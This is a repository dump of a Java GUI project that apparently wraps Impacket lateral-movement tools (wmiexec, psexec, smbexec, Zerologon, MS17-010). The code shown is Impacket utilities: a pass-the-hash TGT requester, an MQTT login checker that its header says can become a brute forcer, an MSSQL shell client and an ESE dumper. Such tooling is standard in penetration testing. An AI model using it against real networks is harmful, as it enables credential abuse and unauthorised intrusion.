├── .idea
├── artifacts
│ └── J8_GUI_jar.xml
├── compiler.xml
├── encodings.xml
├── jarRepositories.xml
├── libraries
│ ├── Maven__cn_hutool_hutool_all_5_8_20.xml
│ ├── Maven__com_hierynomus_asn_one_0_6_0.xml
│ ├── Maven__com_hierynomus_smbj_0_12_0.xml
│ ├── Maven__net_engio_mbassador_1_3_0.xml
│ ├── Maven__org_apache_commons_commons_lang3_3_3_2.xml
│ ├── Maven__org_bouncycastle_bcprov_jdk15on_1_70.xml
│ └── Maven__org_slf4j_slf4j_api_1_7_36.xml
├── misc.xml
├── modules.xml
├── qaplug_profiles.xml
├── vcs.xml
└── workspace.xml
├── Intranet-tools.zip
├── J8-GUI.iml
├── README.md
├── plugins
├── examples
│ ├── DumpNTLMInfo.py
│ ├── Get-GPPPassword.py
│ ├── GetADUsers.py
│ ├── GetNPUsers.py
│ ├── GetUserSPNs.py
│ ├── addcomputer.py
│ ├── atexec.py
│ ├── changepasswd.py
│ ├── dcomexec.py
│ ├── dpapi.py
│ ├── esentutl.py
│ ├── exchanger.py
│ ├── findDelegation.py
│ ├── getArch.py
│ ├── getPac.py
│ ├── getST.py
│ ├── getTGT.py
│ ├── goldenPac.py
│ ├── karmaSMB.py
│ ├── keylistattack.py
│ ├── kintercept.py
│ ├── lookupsid.py
│ ├── machine_role.py
│ ├── mimikatz.py
│ ├── mqtt_check.py
│ ├── mssqlclient.py
│ ├── mssqlinstance.py
│ ├── net.py
│ ├── netview.py
│ ├── nmapAnswerMachine.py
│ ├── ntfs-read.py
│ ├── ntlmrelayx.py
│ ├── ping.py
│ ├── ping6.py
│ ├── psexec.py
│ ├── raiseChild.py
│ ├── rbcd.py
│ ├── rdp_check.py
│ ├── reg.py
│ ├── registry-read.py
│ ├── rpcdump.py
│ ├── rpcmap.py
│ ├── sambaPipe.py
│ ├── samrdump.py
│ ├── secretsdump.py
│ ├── services.py
│ ├── smbclient.py
│ ├── smbexec.py
│ ├── smbpasswd.py
│ ├── smbrelayx.py
│ ├── smbserver.py
│ ├── sniff.py
│ ├── sniffer.py
│ ├── split.py
│ ├── ticketConverter.py
│ ├── ticketer.py
│ ├── tstool.py
│ ├── wmiexec.py
│ ├── wmipersist.py
│ └── wmiquery.py
└── impacket
│ ├── Dot11Crypto.py
│ ├── Dot11KeyManager.py
│ ├── ICMP6.py
│ ├── IP6.py
│ ├── IP6_Address.py
│ ├── IP6_Extension_Headers.py
│ ├── ImpactDecoder.py
│ ├── ImpactPacket.py
│ ├── NDP.py
│ ├── __init__.py
│ ├── cdp.py
│ ├── crypto.py
│ ├── dcerpc
│ ├── __init__.py
│ └── v5
│ │ ├── __init__.py
│ │ ├── atsvc.py
│ │ ├── bkrp.py
│ │ ├── dcom
│ │ ├── __init__.py
│ │ ├── comev.py
│ │ ├── oaut.py
│ │ ├── scmp.py
│ │ ├── vds.py
│ │ └── wmi.py
│ │ ├── dcomrt.py
│ │ ├── dhcpm.py
│ │ ├── drsuapi.py
│ │ ├── dssp.py
│ │ ├── dtypes.py
│ │ ├── enum.py
│ │ ├── epm.py
│ │ ├── even.py
│ │ ├── even6.py
│ │ ├── iphlp.py
│ │ ├── lsad.py
│ │ ├── lsat.py
│ │ ├── mgmt.py
│ │ ├── mimilib.py
│ │ ├── ndr.py
│ │ ├── nrpc.py
│ │ ├── nspi.py
│ │ ├── oxabref.py
│ │ ├── par.py
│ │ ├── rpch.py
│ │ ├── rpcrt.py
│ │ ├── rprn.py
│ │ ├── rrp.py
│ │ ├── samr.py
│ │ ├── sasec.py
│ │ ├── scmr.py
│ │ ├── srvs.py
│ │ ├── transport.py
│ │ ├── tsch.py
│ │ ├── tsts.py
│ │ └── wkst.py
│ ├── dhcp.py
│ ├── dns.py
│ ├── dot11.py
│ ├── dpapi.py
│ ├── eap.py
│ ├── ese.py
│ ├── examples
│ ├── __init__.py
│ ├── ldap_shell.py
│ ├── logger.py
│ ├── mssqlshell.py
│ ├── ntlmrelayx
│ │ ├── __init__.py
│ │ ├── attacks
│ │ │ ├── __init__.py
│ │ │ ├── dcsyncattack.py
│ │ │ ├── httpattack.py
│ │ │ ├── httpattacks
│ │ │ │ ├── __init__.py
│ │ │ │ └── adcsattack.py
│ │ │ ├── imapattack.py
│ │ │ ├── ldapattack.py
│ │ │ ├── mssqlattack.py
│ │ │ ├── rpcattack.py
│ │ │ └── smbattack.py
│ │ ├── clients
│ │ │ ├── __init__.py
│ │ │ ├── dcsyncclient.py
│ │ │ ├── httprelayclient.py
│ │ │ ├── imaprelayclient.py
│ │ │ ├── ldaprelayclient.py
│ │ │ ├── mssqlrelayclient.py
│ │ │ ├── rpcrelayclient.py
│ │ │ ├── smbrelayclient.py
│ │ │ └── smtprelayclient.py
│ │ ├── servers
│ │ │ ├── __init__.py
│ │ │ ├── httprelayserver.py
│ │ │ ├── rawrelayserver.py
│ │ │ ├── smbrelayserver.py
│ │ │ ├── socksplugins
│ │ │ │ ├── __init__.py
│ │ │ │ ├── http.py
│ │ │ │ ├── https.py
│ │ │ │ ├── imap.py
│ │ │ │ ├── imaps.py
│ │ │ │ ├── mssql.py
│ │ │ │ ├── smb.py
│ │ │ │ └── smtp.py
│ │ │ ├── socksserver.py
│ │ │ └── wcfrelayserver.py
│ │ └── utils
│ │ │ ├── __init__.py
│ │ │ ├── config.py
│ │ │ ├── enum.py
│ │ │ ├── ssl.py
│ │ │ ├── targetsutils.py
│ │ │ └── tcpshell.py
│ ├── os_ident.py
│ ├── remcomsvc.py
│ ├── rpcdatabase.py
│ ├── secretsdump.py
│ ├── serviceinstall.py
│ ├── smbclient.py
│ └── utils.py
│ ├── helper.py
│ ├── hresult_errors.py
│ ├── http.py
│ ├── krb5
│ ├── __init__.py
│ ├── asn1.py
│ ├── ccache.py
│ ├── constants.py
│ ├── crypto.py
│ ├── gssapi.py
│ ├── kerberosv5.py
│ ├── keytab.py
│ ├── kpasswd.py
│ ├── pac.py
│ └── types.py
│ ├── ldap
│ ├── __init__.py
│ ├── ldap.py
│ ├── ldapasn1.py
│ └── ldaptypes.py
│ ├── mapi_constants.py
│ ├── mqtt.py
│ ├── nmb.py
│ ├── nt_errors.py
│ ├── ntlm.py
│ ├── pcap_linktypes.py
│ ├── pcapfile.py
│ ├── smb.py
│ ├── smb3.py
│ ├── smb3structs.py
│ ├── smbconnection.py
│ ├── smbserver.py
│ ├── spnego.py
│ ├── structure.py
│ ├── system_errors.py
│ ├── tds.py
│ ├── uuid.py
│ ├── version.py
│ ├── winregistry.py
│ └── wps.py
├── pom.xml
└── src
├── .DS_Store
├── main
├── .DS_Store
├── java
│ ├── .DS_Store
│ └── com
│ │ ├── .DS_Store
│ │ └── ajie
│ │ ├── .DS_Store
│ │ ├── controller
│ │ ├── .DS_Store
│ │ ├── ATexec
│ │ │ ├── CiphermodeController.java
│ │ │ └── HashmodeController.java
│ │ ├── AllController.java
│ │ ├── DCOMexec
│ │ │ ├── CiphermodeController.java
│ │ │ └── HashmodeController.java
│ │ ├── DC_attack
│ │ │ ├── FileSearchController.java
│ │ │ ├── MS17010Controller.java
│ │ │ ├── SamTheAdminController.java
│ │ │ ├── ZerologonAttackController.java
│ │ │ └── ZerologonScanController.java
│ │ ├── SMBexec
│ │ │ ├── CiphermodeController.java
│ │ │ └── HashmodeController.java
│ │ ├── psexec
│ │ │ ├── CiphermodeController.java
│ │ │ └── HashmodeController.java
│ │ └── wmiexec
│ │ │ ├── CiphermodeController.java
│ │ │ └── HashmodeController.java
│ │ └── sample
│ │ └── Main.java
└── resources
│ ├── META-INF
│ └── MANIFEST.MF
│ └── main_fxml
│ └── sample.fxml
└── test
└── java
├── CommandLineInteractive.java
├── SmbTest.java
└── plugins
└── examples
└── psexec.py
/.idea/artifacts/J8_GUI_jar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/J8_GUI_jar
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
20 |
21 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__cn_hutool_hutool_all_5_8_20.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_hierynomus_asn_one_0_6_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_hierynomus_smbj_0_12_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__net_engio_mbassador_1_3_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_apache_commons_commons_lang3_3_3_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_bouncycastle_bcprov_jdk15on_1_70.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_36.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Intranet-tools.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/Intranet-tools.zip
--------------------------------------------------------------------------------
/J8-GUI.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 编译
2 | 项目中未使用maven,打包需要build
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | 或者直接下载tags下的包
16 |
17 | wmiexec模块
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | psexec模块
26 |
27 |
28 |
29 |
30 |
31 |
32 | smbexec模块
33 | smbexec模块需要写交互式shell,自己调试了两天还是有问题,重写模块,使用jcifs显示超时无法访问,发布github有两个原因吧,一个是先用着,二是寻求帮助希望有厉害的大佬帮忙解决下
34 |
35 |
36 |
37 | atexec模块
38 |
39 |
40 |
41 |
42 |
43 |
44 | dcomexec模块
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | dc模块
54 | 暂时未写,工作繁忙,备考等等,后续慢慢更新。
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/plugins/examples/esentutl.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # ESE utility. Allows dumping catalog, pages and tables.
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 | # Reference for:
17 | # Extensive Storage Engine (ese)
18 | #
19 |
20 | from __future__ import division
21 | from __future__ import print_function
22 | import sys
23 | import logging
24 | import argparse
25 |
26 | from impacket.examples import logger
27 | from impacket import version
28 | from impacket.ese import ESENT_DB
29 |
30 |
31 | def dumpPage(ese, pageNum):
32 | data = ese.getPage(pageNum)
33 | data.dump()
34 |
35 | def exportTable(ese, tableName):
36 | cursor = ese.openTable(tableName)
37 | if cursor is None:
38 | logging.error('Can"t get a cursor for table: %s' % tableName)
39 | return
40 |
41 | i = 1
42 | print("Table: %s" % tableName)
43 | while True:
44 | try:
45 | record = ese.getNextRow(cursor)
46 | except Exception:
47 | logging.debug('Exception:', exc_info=True)
48 | logging.error('Error while calling getNextRow(), trying the next one')
49 | continue
50 |
51 | if record is None:
52 | break
53 | print("*** %d" % i)
54 | for j in list(record.keys()):
55 | if record[j] is not None:
56 | print("%-30s: %r" % (j, record[j]))
57 | i += 1
58 |
59 | def main():
60 | print(version.BANNER)
61 | # Init the example's logger theme
62 | logger.init()
63 |
64 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping "
65 | "catalog, pages and tables.")
66 | parser.add_argument('databaseFile', action='store', help='ESE to open')
67 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
68 | parser.add_argument('-page', action='store', help='page to open')
69 |
70 | subparsers = parser.add_subparsers(help='actions', dest='action')
71 |
72 | # dump page
73 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
74 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump')
75 |
76 | # info page
77 | subparsers.add_parser('info', help='dumps the catalog info for the DB')
78 |
79 | # export page
80 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
81 | export_parser.add_argument('-table', action='store', required=True, help='table to dump')
82 |
83 | if len(sys.argv)==1:
84 | parser.print_help()
85 | sys.exit(1)
86 |
87 | options = parser.parse_args()
88 |
89 | if options.debug is True:
90 | logging.getLogger().setLevel(logging.DEBUG)
91 | # Print the Library's installation path
92 | logging.debug(version.getInstallationPath())
93 | else:
94 | logging.getLogger().setLevel(logging.INFO)
95 |
96 | ese = ESENT_DB(options.databaseFile)
97 |
98 | try:
99 | if options.action.upper() == 'INFO':
100 | ese.printCatalog()
101 | elif options.action.upper() == 'DUMP':
102 | dumpPage(ese, int(options.page))
103 | elif options.action.upper() == 'EXPORT':
104 | exportTable(ese, options.table)
105 | else:
106 | raise Exception('Unknown action %s ' % options.action)
107 | except Exception as e:
108 | if logging.getLogger().level == logging.DEBUG:
109 | import traceback
110 | traceback.print_exc()
111 | print(e)
112 | ese.close()
113 |
114 |
115 | if __name__ == '__main__':
116 | main()
117 | sys.exit(1)
118 |
--------------------------------------------------------------------------------
/plugins/examples/getArch.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type
12 | # installed.
13 | # The trick has been discovered many years ago and is actually documented by Microsoft here:
14 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
15 | # and doesn't require any authentication at all.
16 | #
17 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS.
18 | #
19 | # Author:
20 | # beto (@agsolino)
21 | #
22 | # Reference for:
23 | # RPCRT, NDR
24 | #
25 |
26 | from __future__ import division
27 | from __future__ import print_function
28 | import argparse
29 | import logging
30 | import sys
31 |
32 | from impacket import version
33 | from impacket.examples import logger
34 | from impacket.dcerpc.v5.rpcrt import DCERPCException
35 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory
36 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
37 |
38 |
39 | class TARGETARCH:
40 | def __init__(self, options):
41 | self.__machinesList = list()
42 | self.__options = options
43 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
44 |
45 | def run(self):
46 | if self.__options.targets is not None:
47 | for line in self.__options.targets.readlines():
48 | self.__machinesList.append(line.strip(' \r\n'))
49 | else:
50 | self.__machinesList.append(self.__options.target)
51 |
52 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList))
53 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout)
54 |
55 | for machine in self.__machinesList:
56 | try:
57 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine
58 | transport = DCERPCTransportFactory(stringBinding)
59 | transport.set_connect_timeout(int(self.__options.timeout))
60 | dce = transport.get_dce_rpc()
61 | dce.connect()
62 | try:
63 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax)
64 | except DCERPCException as e:
65 | if str(e).find('syntaxes_not_supported') >= 0:
66 | print('%s is 32-bit' % machine)
67 | else:
68 | logging.error(str(e))
69 | pass
70 | else:
71 | print('%s is 64-bit' % machine)
72 |
73 | dce.disconnect()
74 | except Exception as e:
75 | #import traceback
76 | #traceback.print_exc()
77 | logging.error('%s: %s' % (machine, str(e)))
78 |
79 | # Process command-line arguments.
80 | if __name__ == '__main__':
81 | # Init the example's logger theme
82 | logger.init()
83 | print(version.BANNER)
84 |
85 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version")
86 | parser.add_argument('-target', action='store', help='')
87 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch '
88 | 'from (one per line). ')
89 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)')
90 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
91 |
92 | if len(sys.argv)==1:
93 | parser.print_help()
94 | sys.exit(1)
95 |
96 | options = parser.parse_args()
97 |
98 | if options.target is None and options.targets is None:
99 | logging.error('You have to specify a target!')
100 | sys.exit(1)
101 |
102 | if options.debug is True:
103 | logging.getLogger().setLevel(logging.DEBUG)
104 | # Print the Library's installation path
105 | logging.debug(version.getInstallationPath())
106 | else:
107 | logging.getLogger().setLevel(logging.INFO)
108 |
109 | try:
110 | getArch = TARGETARCH(options)
111 | getArch.run()
112 | except (Exception, KeyboardInterrupt) as e:
113 | if logging.getLogger().level == logging.DEBUG:
114 | import traceback
115 | traceback.print_exc()
116 | logging.error(str(e))
117 | sys.exit(0)
118 |
--------------------------------------------------------------------------------
/plugins/examples/getTGT.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Given a password, hash or aesKey, it will request a TGT and save it as ccache
12 | #
13 | # Examples:
14 | # ./getTGT.py -hashes lm:nt contoso.com/user
15 | #
16 | # Author:
17 | # Alberto Solino (@agsolino)
18 | #
19 |
20 | from __future__ import division
21 | from __future__ import print_function
22 | import argparse
23 | import logging
24 | import sys
25 | from binascii import unhexlify
26 |
27 | from impacket import version
28 | from impacket.examples import logger
29 | from impacket.examples.utils import parse_credentials
30 | from impacket.krb5.kerberosv5 import getKerberosTGT
31 | from impacket.krb5 import constants
32 | from impacket.krb5.types import Principal
33 |
34 |
35 | class GETTGT:
36 | def __init__(self, target, password, domain, options):
37 | self.__password = password
38 | self.__user= target
39 | self.__domain = domain
40 | self.__lmhash = ''
41 | self.__nthash = ''
42 | self.__aesKey = options.aesKey
43 | self.__options = options
44 | self.__kdcHost = options.dc_ip
45 | if options.hashes is not None:
46 | self.__lmhash, self.__nthash = options.hashes.split(':')
47 |
48 | def saveTicket(self, ticket, sessionKey):
49 | logging.info('Saving ticket in %s' % (self.__user + '.ccache'))
50 | from impacket.krb5.ccache import CCache
51 | ccache = CCache()
52 |
53 | ccache.fromTGT(ticket, sessionKey, sessionKey)
54 | ccache.saveFile(self.__user + '.ccache')
55 |
56 | def run(self):
57 | userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
58 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
59 | unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
60 | self.__kdcHost)
61 | self.saveTicket(tgt,oldSessionKey)
62 |
63 | if __name__ == '__main__':
64 | print(version.BANNER)
65 |
66 | parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
67 | "TGT and save it as ccache")
68 | parser.add_argument('identity', action='store', help='[domain/]username[:password]')
69 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
70 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
71 |
72 | group = parser.add_argument_group('authentication')
73 |
74 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
75 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
76 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
77 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
78 | 'ones specified in the command line')
79 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
80 | '(128 or 256 bits)')
81 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
82 | 'ommited it use the domain part (FQDN) specified in the target parameter')
83 |
84 | if len(sys.argv)==1:
85 | parser.print_help()
86 | print("\nExamples: ")
87 | print("\t./getTGT.py -hashes lm:nt contoso.com/user\n")
88 | print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
89 | sys.exit(1)
90 |
91 | options = parser.parse_args()
92 |
93 | # Init the example's logger theme
94 | logger.init(options.ts)
95 |
96 | if options.debug is True:
97 | logging.getLogger().setLevel(logging.DEBUG)
98 | # Print the Library's installation path
99 | logging.debug(version.getInstallationPath())
100 | else:
101 | logging.getLogger().setLevel(logging.INFO)
102 |
103 | domain, username, password = parse_credentials(options.identity)
104 |
105 | try:
106 | if domain is None:
107 | logging.critical('Domain should be specified!')
108 | sys.exit(1)
109 |
110 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
111 | from getpass import getpass
112 | password = getpass("Password:")
113 |
114 | if options.aesKey is not None:
115 | options.k = True
116 |
117 | executer = GETTGT(username, password, domain, options)
118 | executer.run()
119 | except Exception as e:
120 | if logging.getLogger().level == logging.DEBUG:
121 | import traceback
122 | traceback.print_exc()
123 | print(str(e))
124 |
--------------------------------------------------------------------------------
/plugins/examples/mqtt_check.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password
12 | # brute forcer quite easily.
13 | #
14 | # Author:
15 | # Alberto Solino (@agsolino)
16 | #
17 | # Reference for:
18 | # MQTT and Structure
19 | #
20 |
21 | from __future__ import print_function
22 |
23 | import argparse
24 | import logging
25 | import sys
26 |
27 | from impacket import version
28 | from impacket.examples import logger
29 | from impacket.examples.utils import parse_target
30 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection
31 |
32 | class MQTT_LOGIN:
33 | def __init__(self, username, password, target, options):
34 | self._options = options
35 | self._username = username
36 | self._password = password
37 | self._target = target
38 |
39 | if self._username == '':
40 | self._username = None
41 |
42 | def run(self):
43 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl)
44 |
45 | if self._options.client_id is None:
46 | clientId = ' '
47 | else:
48 | clientId = self._options.client_id
49 |
50 | mqtt.connect(clientId, self._username, self._password)
51 |
52 | logging.info(CONNECT_ACK_ERROR_MSGS[0])
53 |
54 | if __name__ == '__main__':
55 | # Init the example's logger theme
56 | logger.init()
57 | print(version.BANNER)
58 | parser = argparse.ArgumentParser(add_help=False,
59 | description="MQTT login check")
60 | parser.add_argument("--help", action="help", help='show this help message and exit')
61 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
62 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)')
63 | parser.add_argument('-ssl', action='store_true', help='turn SSL on')
64 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)')
65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
66 |
67 | try:
68 | options = parser.parse_args()
69 | except Exception as e:
70 | logging.error(str(e))
71 | sys.exit(1)
72 |
73 | if options.debug is True:
74 | logging.getLogger().setLevel(logging.DEBUG)
75 | # Print the Library's installation path
76 | logging.debug(version.getInstallationPath())
77 | else:
78 | logging.getLogger().setLevel(logging.INFO)
79 |
80 | domain, username, password, address = parse_target(options.target)
81 |
82 | check_mqtt = MQTT_LOGIN(username, password, address, options)
83 | try:
84 | check_mqtt.run()
85 | except Exception as e:
86 | if logging.getLogger().level == logging.DEBUG:
87 | import traceback
88 | traceback.print_exc()
89 | logging.error(e)
90 |
--------------------------------------------------------------------------------
/plugins/examples/mssqlclient.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # [MS-TDS] & [MC-SQLR] example.
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 | # Reference for:
17 | # Structure
18 | #
19 |
20 | import argparse
21 | import sys
22 | import logging
23 |
24 | from impacket.examples import logger
25 | from impacket.examples.mssqlshell import SQLSHELL
26 | from impacket.examples.utils import parse_target
27 | from impacket import version, tds
28 |
29 |
30 | if __name__ == '__main__':
31 | # Init the example's logger theme
32 | logger.init()
33 | print(version.BANNER)
34 |
35 | parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
36 |
37 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
38 | parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
39 | parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
40 | parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows '
41 | 'Authentication (default False)')
42 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
43 | parser.add_argument('-show', action='store_true', help='show the queries')
44 | parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
45 |
46 | group = parser.add_argument_group('authentication')
47 |
48 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
49 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
50 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
51 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
52 | 'ones specified in the command line')
53 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
54 | '(128 or 256 bits)')
55 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
56 | 'ommited it use the domain part (FQDN) specified in the target parameter')
57 |
58 | if len(sys.argv)==1:
59 | parser.print_help()
60 | sys.exit(1)
61 |
62 | options = parser.parse_args()
63 |
64 | if options.debug is True:
65 | logging.getLogger().setLevel(logging.DEBUG)
66 | # Print the Library's installation path
67 | logging.debug(version.getInstallationPath())
68 | else:
69 | logging.getLogger().setLevel(logging.INFO)
70 |
71 | domain, username, password, address = parse_target(options.target)
72 |
73 | if domain is None:
74 | domain = ''
75 |
76 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
77 | from getpass import getpass
78 | password = getpass("Password:")
79 |
80 | if options.aesKey is not None:
81 | options.k = True
82 |
83 | ms_sql = tds.MSSQL(address, int(options.port))
84 | ms_sql.connect()
85 | try:
86 | if options.k is True:
87 | res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
88 | kdcHost=options.dc_ip)
89 | else:
90 | res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
91 | ms_sql.printReplies()
92 | except Exception as e:
93 | logging.debug("Exception:", exc_info=True)
94 | logging.error(str(e))
95 | res = False
96 | if res is True:
97 | shell = SQLSHELL(ms_sql, options.show)
98 | if options.file is None:
99 | shell.cmdloop()
100 | else:
101 | for line in options.file.readlines():
102 | print("SQL> %s" % line, end=' ')
103 | shell.onecmd(line)
104 | ms_sql.disconnect()
105 |
--------------------------------------------------------------------------------
